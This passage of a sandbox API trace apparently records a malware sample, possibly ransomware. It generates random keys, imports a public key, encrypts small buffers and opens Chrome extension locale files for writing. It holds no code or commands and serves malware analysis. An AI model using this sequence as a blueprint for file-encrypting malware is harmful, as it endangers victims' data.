GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.005] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.005] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.006] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.008] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1378) returned 1 [0243.008] CryptGetKeyParam (in: hKey=0x66b1378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.008] CryptEncrypt (in: hKey=0x66b1378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb400000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb400000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.008] GetLastError () returned 0x0 [0243.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.009] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.010] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1578) returned 1 [0243.011] CryptGetKeyParam (in: hKey=0x66b1578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.011] CryptEncrypt (in: hKey=0x66b1578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb410000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb410000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.011] GetLastError () returned 0x0 [0243.011] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.011] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.012] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.018] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.018] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.024] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.024] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.024] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.027] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1138) returned 1 [0243.027] CryptGetKeyParam (in: hKey=0x66b1138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.027] CryptEncrypt (in: hKey=0x66b1138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb420000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb420000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.027] GetLastError () returned 0x0 [0243.027] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.027] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.030] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1238) returned 1 [0243.030] CryptGetKeyParam (in: hKey=0x66b1238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.030] CryptEncrypt (in: hKey=0x66b1238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb430000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb430000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.030] GetLastError () returned 0x0 [0243.030] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.030] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.031] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.037] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.037] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.040] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.043] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.043] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.043] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1278) returned 1 [0243.046] CryptGetKeyParam (in: hKey=0x66b1278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.046] CryptEncrypt (in: hKey=0x66b1278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb440000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb440000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.046] GetLastError () returned 0x0 [0243.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.046] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0243.049] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1338) returned 1 [0243.049] CryptGetKeyParam (in: hKey=0x66b1338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.049] CryptEncrypt (in: hKey=0x66b1338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb450000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb450000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.049] GetLastError () returned 0x0 [0243.049] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.049] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.050] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.055] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.055] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.055] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.067] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.072] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.072] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.073] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0243.075] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1438) returned 1 [0243.075] CryptGetKeyParam (in: hKey=0x66b1438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.075] CryptEncrypt (in: hKey=0x66b1438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb460000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb460000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.075] GetLastError () returned 0x0 [0243.076] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.076] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.078] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b12b8) returned 1 [0243.078] CryptGetKeyParam (in: hKey=0x66b12b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.078] CryptEncrypt (in: hKey=0x66b12b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb470000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb470000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.079] GetLastError () returned 0x0 [0243.079] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.079] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.079] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.084] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.085] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0243.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.091] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.091] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.092] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.095] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b12f8) returned 1 [0243.095] CryptGetKeyParam (in: hKey=0x66b12f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.095] CryptEncrypt (in: hKey=0x66b12f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb480000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb480000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.095] GetLastError () returned 0x0 [0243.095] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.095] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.100] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1478) returned 1 [0243.100] CryptGetKeyParam (in: hKey=0x66b1478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.100] CryptEncrypt (in: hKey=0x66b1478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb490000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb490000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.100] GetLastError () returned 0x0 [0243.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.100] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.101] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.111] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.111] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.111] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.116] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.116] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.117] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.119] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1538) returned 1 [0243.119] CryptGetKeyParam (in: hKey=0x66b1538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.119] CryptEncrypt (in: hKey=0x66b1538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb4a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.119] GetLastError () returned 0x0 [0243.119] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.119] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.123] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b15b8) returned 1 [0243.123] CryptGetKeyParam (in: hKey=0x66b15b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.123] CryptEncrypt (in: hKey=0x66b15b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb4b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.123] GetLastError () returned 0x0 [0243.123] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.123] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.127] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.132] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.132] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.132] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.132] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.137] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.137] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.138] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0243.172] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1678) returned 1 [0243.173] CryptGetKeyParam (in: hKey=0x66b1678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.173] CryptEncrypt (in: hKey=0x66b1678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb4c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.173] GetLastError () returned 0x0 [0243.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.173] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.176] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b15f8) returned 1 [0243.176] CryptGetKeyParam (in: hKey=0x66b15f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.176] CryptEncrypt (in: hKey=0x66b15f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb4d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.176] GetLastError () returned 0x0 [0243.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.176] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.177] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.186] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.186] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.186] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.194] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.194] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.194] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.196] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 